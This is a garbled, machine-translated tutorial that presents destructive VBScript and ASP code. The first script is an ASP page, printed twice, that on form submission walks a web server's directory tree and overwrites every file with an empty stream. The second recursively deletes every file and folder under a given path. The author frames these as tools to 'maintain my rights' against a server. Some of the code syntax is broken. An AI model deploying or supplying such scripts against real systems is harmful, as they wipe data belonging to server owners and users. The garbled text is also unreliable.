How to implement destructive applications with VBS
Editor to share with you how to achieve destructive applications of VBS, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's learn about it!
It is for reference only.
'seen on the Internet, applicable to servers that do not disable shell.application
Server.scripttimeout = 99999
If request ("submit") "" Then "
Call listfile (server.mappath (". /")
Response.Write "processed"
Else
Response.Write ""
End If
Function listfile (fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace (fpath)
Set f = server.CreateObject ("adodb.stream")
F.Type = 1
F.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile (s.Path)
Else
F.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
'seen on the Internet, applicable to servers that do not disable shell.application
Server.scripttimeout = 99999
If request ("submit") "" Then "
Call listfile (server.mappath (". /")
Response.Write "processed"
Else
Response.Write ""
End If
Function listfile (fpath)
On Error Resume Next
Dim Shell, Folder, s
Set Shell = server.CreateObject ("shell.application")
Set Folder = Shell.namespace (fpath)
Set f = server.CreateObject ("adodb.stream")
F.Type = 1
F.Open
For Each s in Folder.Items
If s.isfolder Then
Call listfile (s.Path)
Else
F.savetofile s.Path, 2
End If
Next
Set f = Nothing
Set Shell = Nothing
End Function
I have seen this before, and I feel useless. Such dangerous component servers are generally disabled, but today, I suddenly feel that I have to collect or make some such software to maintain my rights. I won't say exactly why. I wrote one:
View plaincopy to clipboardprint?
See the file delete the file, see the folder delete the folder
Function FilesTree (sPath)
Set oFso = CreateObject ("Scripting.FileSystemObject")
Set oFolder = oFso.GetFolder (sPath)
Set oSubFolders = oFolder.SubFolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
'WScript.Echo oFile.Path
OFile.Delete
Next
For Each oSubFolder In oSubFolders
'WScript.Echo oSubFolder.Path
OSubFolder.Delete
Recursion of 'FilesTree (oSubFolder.Path)'
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
Set oFso = Nothing
End Function
FilesTree ("F:\ deltest\ deltest") 'traversal
These are all the contents of the article "how to achieve destructive applications in VBS". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!